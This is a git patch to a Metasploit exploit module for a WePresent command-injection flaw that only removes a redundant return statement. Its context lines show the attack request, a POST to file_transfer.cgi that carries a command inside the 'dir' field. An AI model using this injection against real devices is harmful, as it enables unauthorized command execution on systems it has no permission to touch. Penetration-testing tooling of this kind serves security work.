From ea6263e6bbf8ae79023af13d8110e9dfd151e07b Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Tue, 14 Jan 2020 06:52:24 -0500 Subject: [PATCH] Removed redundant return statement --- modules/exploits/linux/http/wepresent_cmd_injection.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/wepresent_cmd_injection.rb b/modules/exploits/linux/http/wepresent_cmd_injection.rb index 2e4fd02f7b..8c1ce16154 100644 --- a/modules/exploits/linux/http/wepresent_cmd_injection.rb +++ b/modules/exploits/linux/http/wepresent_cmd_injection.rb @@ -67,13 +67,11 @@ class MetasploitModule < Msf::Exploit::Remote dir: "'#{filter_bad_chars(cmd)}'" } - resp = send_request_cgi({ + send_request_cgi({ 'uri' => '/cgi-bin/file_transfer.cgi', 'method' => 'POST', 'vars_post' => vars_post }, timeout) - - return resp end def check